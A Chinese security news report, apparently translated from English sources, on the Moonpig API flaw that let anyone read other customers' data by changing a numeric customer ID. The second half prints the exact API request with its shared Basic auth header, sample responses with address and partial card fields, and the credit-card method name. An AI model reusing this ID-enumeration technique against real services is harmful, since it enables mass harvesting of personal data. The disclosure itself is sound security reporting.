贺卡网站Moonpig的300万名用户的数据遭到泄露,随后该网站关闭了移动app。
据悉,攻击者可访问网站任何一名用户的详细资料、查看之前的订单并对任何用户下订单。
该漏洞是由Paul Price发现的,他指出漏洞出现在MoonPig移动app可与其服务器通讯的部分,即API。API发送的信息并不是受单个用户名及密码保护的信息,而是受到同一凭证保护的信息,不管登录的用户是谁。
这款app识别不同用户账户的唯一方式是一个9位数字,且传输并未加密。
对于Price来说,访问另一个用户的账户易如反掌,他只要修改那个9位数、重新发送请求,便可获得用户信息包括邮寄地址、生日、电子邮件、电话号码、以及一部分信用卡数据包括最后四位数及到期日。
信用卡密码并未遭到泄露,并且已知信用卡数据并不能完成购买。
Price指出,多数公司通过用户地址、出生日期及银行卡最后四位数的组合来识别不同用户,所以说这次泄露挖掘的更深,它可以攻陷用户的其他第三方账户。
此外,如果用户的ID是连续的,那么攻击者可以很容易地利用他们的地址以及银行卡详细信息在几个小时之内构建出Moonpig所有用户的数据库。这种可能性非常令人担忧。
Moonpig由在线照片打印公司PhotoBox在2011年6月收购。PhotoBox在一份声明中表示已经意识到这个安全问题,并且表示用户所有的密码及支付信息是安全的,并宣布将关闭app修复这一问题。
Price表示,他早在2013年8月18日便已向公司报告了这个漏洞,但时隔13个月之后,公司仍未修复。而这个时间段早已超过业内公认的90天时间。因此他决定将漏洞公之于众,以督促公司尽快予以修复。
=========================== //此部分原文Moonpig vulnerability,来自安全脉搏SP胖编翻译阐述
这个Moonpig API是这样的:
GET /rest/MoonpigRestWebservice.svc/addresses?&customerId=5379382&countryCode=9424 HTTP/1.1 Authorization: Basic aXBjiS5lOk1vb25QHjimvF58DEw Host: api.moonpig.com Connection: Keep-Alive
url里面的customerId可以随意遍历 越权 能够获取到其他人地址、邮箱、Firstname和Lastname,生日等信息 (没有密码)。
GET https://api.moonpig.com/rest/MoonpigRestWebservice.svc/addresses?&customerId=713443990&countryCode=9424 [{"Address":"xxxxxx\u000d\u000axxxxxxx\u000d\u000axxxxxxx","AddressBookId":414628930,"AddressType":"CustomerAddress","AddressTypeId":1,"Anniversary":null,"Birthday":null,"BuildingName":null,"BuildingNumber":null,"Company":"Test","Country":"United Kingdom ","County":"London","Custom1":null,"Custom2":null,"Custom3":null,"Custom4":null,"Custom5":null,"CustomerId":0,"Deleted":false,"DeliveryInstructions":null,"EmailAddress":null,"FacebookId":null,"FilterChar":null,"Firstname":"Test","Greeting":null,"LastUpdated":"\/Date(147136045396670+0100)\/","Lastname":"Test","MainAddressBookId":null,"OtherDate":null,"Postcode":" LN1 3FN","PostcodeSystemUpdated":null,"SortByLastName":false,"Suffix":null,"TelephoneNo":null,"Title":"","TitleId":null,"Town":"London"}]
反编译APK文件 查看哪些未验证的接口或者找寻哪些接口有注入漏洞 是常见的web层面hack app。
Moonpig API有趣的地方就是你随便输入一个不存在的API method,他会返回404并有一个help的链接,链接里面是全部API方法的详细说明,给程序员留方便的时候也给黑客留了个机会。
其中有个方法:GetCreditCardDetails 吸引眼球
<ArrayOfCustomerCreditCard xmlns="http://schemas.datacontract.org/2004/07/Moonpig.Model.CustomerAttributes.Accounting" xmlns:i="http://www.w3.org/2001/XMLSchema-instance"> <CustomerCreditCard> <CardType>Credit Card (Unspeci</CardType> <CustomerId>11466749</CustomerId> <ExpiryDate>12/18</ExpiryDate> <LastFourDigits>5993</LastFourDigits> <NameOnCard>Mr X XXX</NameOnCard> <TransactionId>5983632541-1/TransactionId> </CustomerCreditCard>
蛋疼的是没显示全Card No.
不过这两个越权接口可以分分钟收集Moonpig的客户地址邮箱生日信息库,300W数据有木有!
【原文:theguardian & Moonpig vulnerability 翻译:360安全播报 SP胖编整理发布】